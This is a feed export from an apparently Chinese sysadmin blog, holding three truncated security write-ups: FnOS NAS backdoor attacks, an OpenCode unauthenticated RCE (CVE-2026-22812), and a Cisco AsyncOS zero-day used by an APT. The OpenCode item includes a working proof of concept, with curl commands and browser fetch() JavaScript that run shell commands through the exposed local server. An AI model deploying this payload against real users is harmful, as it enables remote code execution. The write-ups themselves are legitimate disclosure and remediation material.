运维123 - 漏洞
type: channel
link: https://www.sddts.cn/index.php/tag/%E6%BC%8F%E6%B4%9E/
items: 飞牛OS多个重大漏洞安全事件技术分析
items: OpenCode 未认证远程代码执行漏洞 CVE-2026-22812 技术分析
items: Cisco 修复零日 RCE 漏洞：中国相关 APT 组织针对安全邮件网关的攻击分析

飞牛OS多个重大漏洞安全事件技术分析
type: item
date: 2026-01-31T14:28:43+00:00
description: 飞牛OS多个重大漏洞安全事件技术分析一、事件概述1. 事件背景2025 年 1 月，飞牛 OS（FnOS）被曝出存在多个严重安全漏洞，导致大量暴露于公网的 NAS 设备遭到攻击。攻击者利用漏洞植入恶意程序，实施挖矿、僵尸网络等恶意活动。2. 影响范围A. 影响用户数所有使用飞牛 OS（FnOS）且将设备暴露于公网的用户，具体数量未公开，但多个技术社区报告大量用户受影响。B. 影响时长漏洞公开时间约为 2025 年 1 月中旬，目前攻击活动仍在持续。C. 影响功能未授权文件访问恶意程序植入系统配置被篡改自动更新机制被破坏3. 严重程度严重（Critical）——CVSS 评分预计 9.0+，核心原因包括：远程未授权访问完整系统控制权攻击成本低且易于自动化持久化机制完善二、漏洞详情1. CVE-2025-55182：目录遍历漏洞A. 漏洞描述飞牛 OS 的 app-center-static 组件存在严重的目录遍历漏洞，攻击者可未经授权访问系统任意文件。B. 技术细节漏洞类型：路径穿越（Path Traversal）影响组件：app-center-static根本原因：开发者在使用 Gin 框架时编写了不安全的文件处理逻辑CVE 编号：CVE-2025-55182C. 攻击向量通过 Web 端口发送特制请求，绕过路径验证机制，实现任意文件读取。2. 后门植入与持久化机制A. 恶意程序特征根据社区分析，攻击者植入的恶意程序具有以下特征：文件路径说明/sbin/gots后门主体程序/etc/rc.local启动脚本持久化/etc/rc.d/rc.local启动脚本持久化systemd 服务创建系统服务实现自启动B. 文件保护机制所有可疑文件均被添加了不可修改属性（immutable flag），即使 root 用户也无法直接删除，需要特殊处理才能清除。C. 攻击能力挖矿木马植入僵尸网络控制SSH 密钥窃取横向移动能力3. 攻击链分析graph LR A[公网扫描] --> B{漏洞探测} B -->|发现目标| C[目录遍历攻击] C --> D[读取敏感文件] D --> E[窃取凭据] E --> F[植入后门] F --> G[持久化] G --> H[挖矿/僵尸网络] H --> I[阻止自动更新] I --> J[重置防火墙]三、问题分析1. 直接原因app-center-static 组件存在未经验证的路径遍历漏洞系统默认暴露于公网，缺乏安全防护内网穿透工具（如 Cloudflare Tunnel）同样可被利用2. 根本原因（5 Whys 分析）A. 为什么出现这个问题？开发者在实现文件处理功能时，未对用户输入进行充分的路径验证，导致目录遍历攻击。B.为什么没有及时发现问题？代码 Review 流程可能存在疏漏，未进行安全审计；缺乏自动化安全测试。C. 为什么升级后仍不安全？攻击者在获取系统控制权后，会：阻止系统自动更新重置防火墙规则植入持久化后门即使升级到 1.1.15 版本，已被入侵的设备仍无法完全清除威胁D. 为什么影响范围这么大？大量用户将 NAS 直接暴露在公网，使用内网穿透工具却未意识到这同样会增加攻击面。E. 为什么攻击如此广泛？漏洞利用简单，可完全自动化扫描和攻击；多个攻击团伙同时利用该漏洞。3. 深层反思NAS 设备安全性设计不足，默认配置过于开放缺乏入侵检测和应急响应机制用户安全教育不足四、攻击团伙分析1. 攻击类型根据搜索结果和行业经验，利用该漏洞的攻击团伙包括：攻击类型目的特征挖矿团伙加密货币挖掘CPU 占用高、植入 XMRig 等挖矿软件僵尸网络DDoS 攻击服务植入 Lucifer、Kaiji 等僵尸网络木马勒索软件数据加密勒索加密用户文件、索要赎金2. 攻击时间线sequenceDiagram participant S as 扫描器 participant T as 目标NAS participant A as 攻击者 participant C as C2服务器 S->>T: 端口扫描 S->>T: 漏洞探测 S->>A: 发现漏洞 A->>T: 目录遍历攻击 A->>T: 读取配置文件 A->>T: 植入 gots 后门 A->>T: 设置持久化 T->>C: 连接 C2 服务器 C->>T: 下发挖矿任务 T->>T: 执行挖矿 A->>T: 阻止自动更新 A->>T: 重置防火墙五、解决方案1. 临时方案（已受入侵设备）A. 紧急隔离立即断开网络连接禁用所有公网访问关闭内网穿透工具B. 后门清除移除文件不可修改属性：chattr -i /sbin/gots chattr -i /etc/rc.local删除后门文件：rm -f /sbin/gots rm -f /etc/rc.loc…

OpenCode 未认证远程代码执行漏洞 CVE-2026-22812 技术分析
type: item
date: 2026-01-18T10:54:16+00:00
description: OpenCode 未认证远程代码执行漏洞 CVE-2026-22812 技术分析一、漏洞概述1. 基本信息A. 漏洞编号CVE-2026-22812、GHSA-vxw4-wv6m-9hhhB. 影响产品OpenCode（开源 AI 编码代理工具）C. 漏洞类型未认证远程代码执行（Remote Code Execution, RCE）D. 严重程度CVSS 3.1 评分：8.8（高危）CVSS 向量：CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:HE. 公开时间2026 年 1 月 12 日2. 漏洞描述OpenCode 在 1.0.216 版本之前，会自动启动一个未经身份验证的 HTTP 服务器。该服务器配置了过于宽松的 CORS（跨域资源共享）策略，允许任意来源的跨域请求。攻击者可以通过两种方式利用此漏洞：本地进程直接向服务器发送恶意请求诱导用户访问恶意网站，通过浏览器向本地服务器发送跨域请求成功利用后，攻击者可以以运行 OpenCode 的用户权限执行任意 shell 命令。3. 影响范围A. 受影响版本OpenCode < 1.0.216B. 修复版本OpenCode >= 1.0.216二、技术分析1. 根本原因A. 未认证的 HTTP 服务器OpenCode 启动时会自动创建一个 HTTP 服务器（默认监听端口 4096+），该服务器没有任何身份验证机制。关键代码位于 cli/cmd/tui/worker.ts:36，通过 Server.listen() 启动服务器。B. 危险的 API 端点服务器暴露了多个高危端点，无需认证即可调用：POST /session/:id/shell功能：执行 shell 命令位置：server.ts:1401参数：agent（代理类型）、command（要执行的命令）POST /pty功能：创建交互式终端会话位置：server.ts:267GET /file/content?path=功能：读取任意文件内容位置：server.ts:1868C. 宽松的 CORS 策略服务器使用默认的 CORS 配置 .use(cors())，这会设置 Access-Control-Allow-Origin: *，允许任何网站向本地服务器发送跨域请求。2. 漏洞原理A. 攻击链路graph TB A[攻击者] --> B{攻击方式} B -->|本地攻击| C[恶意进程] B -->|浏览器攻击| D[恶意网站] C --> E[http://127.0.0.1:4096] D --> F[浏览器跨域请求] F --> E E --> G[POST /session/:id/shell] G --> H[执行任意命令] H --> I[获取用户权限]B. 本地攻击场景任何本地进程（如恶意 npm 包、被感染的应用程序）都可以直接向本地 OpenCode 服务器发送请求执行命令。由于服务器没有认证机制，攻击者可以直接调用危险端点。C. 浏览器攻击场景恶意网站可以利用浏览器向本地服务器发起跨域请求。由于 OpenCode 服务器配置了宽松的 CORS 策略，浏览器不会阻止这些请求。3. 漏洞复现A. 本地利用 PoCAPI="http://127.0.0.1:4096" SESSION_ID=$(curl -s -X POST "$API/session" \ -H "Content-Type: application/json" \ -d '{}' | jq -r '.id') curl -s -X POST "$API/session/$SESSION_ID/shell" \ -H "Content-Type: application/json" \ -d '{"agent": "build", "command": "echo PWNED > /tmp/pwned.txt"}' cat /tmp/pwned.txtB. 浏览器利用 PoC恶意网站可以嵌入以下 JavaScript 代码：fetch('http://127.0.0.1:4096/session', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: '{}' }) .then(r => r.json()) .then(session => { fetch(`http://127.0.0.1:4096/session/${session.id}/shell`, { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON…

Cisco 修复零日 RCE 漏洞：中国相关 APT 组织针对安全邮件网关的攻击分析
type: item
date: 2026-01-17T02:15:12+00:00
description: Cisco 修复零日 RCE 漏洞：中国相关 APT 组织针对安全邮件网关的攻击分析一、新闻概述1. 标题Cisco 修复零日 RCE 漏洞：中国相关 APT 组织针对安全邮件网关的攻击分析2. 发布时间2026 年 1 月 16 日3. 来源The Hacker News二、核心内容1. 事件摘要A. 主要内容Cisco 在周四发布安全更新，修复了一个影响 Cisco Secure Email Gateway 和 Cisco Secure Email and Web Manager 的 Cisco AsyncOS Software 的最高严重级别安全漏洞。B. 核心亮点漏洞编号 CVE-2025-20393，CVSS 评分满分 10.0中国相关 APT 组织（代号 UAT-9686）已在零日攻击中利用该漏洞攻击者可获得受影响设备底层操作系统的 root 权限Cisco 已在多个版本中发布修复补丁2. 关键信息A. 漏洞编号CVE-2025-20393B. 严重程度CVSS 评分 10.0（最高严重级别）C. 涉及产品Cisco Secure Email Gateway（邮件安全网关）Cisco Secure Email and Web Manager（安全邮件和 Web 管理器）Cisco AsyncOS SoftwareD. 攻击者中国相关 APT 组织，代号 UAT-96863. 背景介绍A. 漏洞发现时间2025 年 11 月底，Cisco 发现该漏洞被主动利用B. 相关上下文这是 Cisco 在近一个月后正式发布的安全补丁，此前已披露该零日漏洞的存在二、核心内容1. 事件摘要A. 主要内容Cisco 发布安全更新，修复影响 Cisco AsyncOS Software 的远程命令执行漏洞，该漏洞已被中国相关 APT 组织在零日攻击中利用。B. 核心亮点CVE-2025-20393，CVSS 评分 10.0（最高严重级别）远程命令执行漏洞，可获得 root 权限Spam Quarantine 功能的 HTTP 请求验证不足导致漏洞UAT-9686 组织自 2025 年 11 月底开始利用2. 关键信息A. 漏洞详情编号：CVE-2025-20393评分：CVSS 10.0类型：远程命令执行（RCE）原因：Spam Quarantine 功能对 HTTP 请求验证不足B. 影响版本Cisco AsyncOS Software Release 14.2 及更早版本Cisco AsyncOS Software Release 15.0Cisco AsyncOS Software Release 15.5Cisco AsyncOS Software Release 16.0C. 攻击时间线最早利用时间：2025 年 11 月底披露时间：2025 年 12 月补丁发布：2026 年 1 月3. 背景介绍A. 攻击组织UAT-9686，与中国相关的 APT 组织B. 攻击工具链ReverseSSH（AquaTunnel）：隧道工具Chisel：隧道工具AquaPurge：日志清理工具AquaShell：轻量级 Python 后门三、详细报道1. 漏洞技术细节A. 漏洞描述CVE-2025-20393 是一个远程命令执行漏洞，源于 Spam Quarantine 功能对 HTTP 请求的验证不足。成功利用该漏洞，攻击者可以在受影响设备的底层操作系统上以 root 权限执行任意命令。B. 利用条件攻击要成功，必须满足三个条件：设备运行存在漏洞的 Cisco AsyncOS Software 版本设备配置了 Spam Quarantine 功能Spam Quarantine 功能暴露在互联网上且可访问C. 攻击流程graph TD A[攻击者扫描] --> B{发现暴露的 Spam Quarantine} B -->|是| C[发送恶意 HTTP 请求] B -->|否| D[无法利用] C --> E{验证绕过成功?} E -->|是| F[执行任意命令 root 权限] E -->|否| D F --> G[部署后门工具] G --> H[建立持久化] H --> I[清理日志]D. 攻击者工具链攻击者使用了一系列工具来维持访问和隐藏踪迹：ReverseSSH（AquaTunnel）：SSH 反向隧道工具，用于建立隐蔽的通信通道Chisel：另一种隧道工具，提供更灵活的隧道功能AquaPurge：日志清理工具，用于删除攻击痕迹AquaShell：轻量级 Python 后门，可接收编码命令并执行2. 修复版本信息A. Cisco Email Security Gateway 修复版本Cisco AsyncOS Software Rel…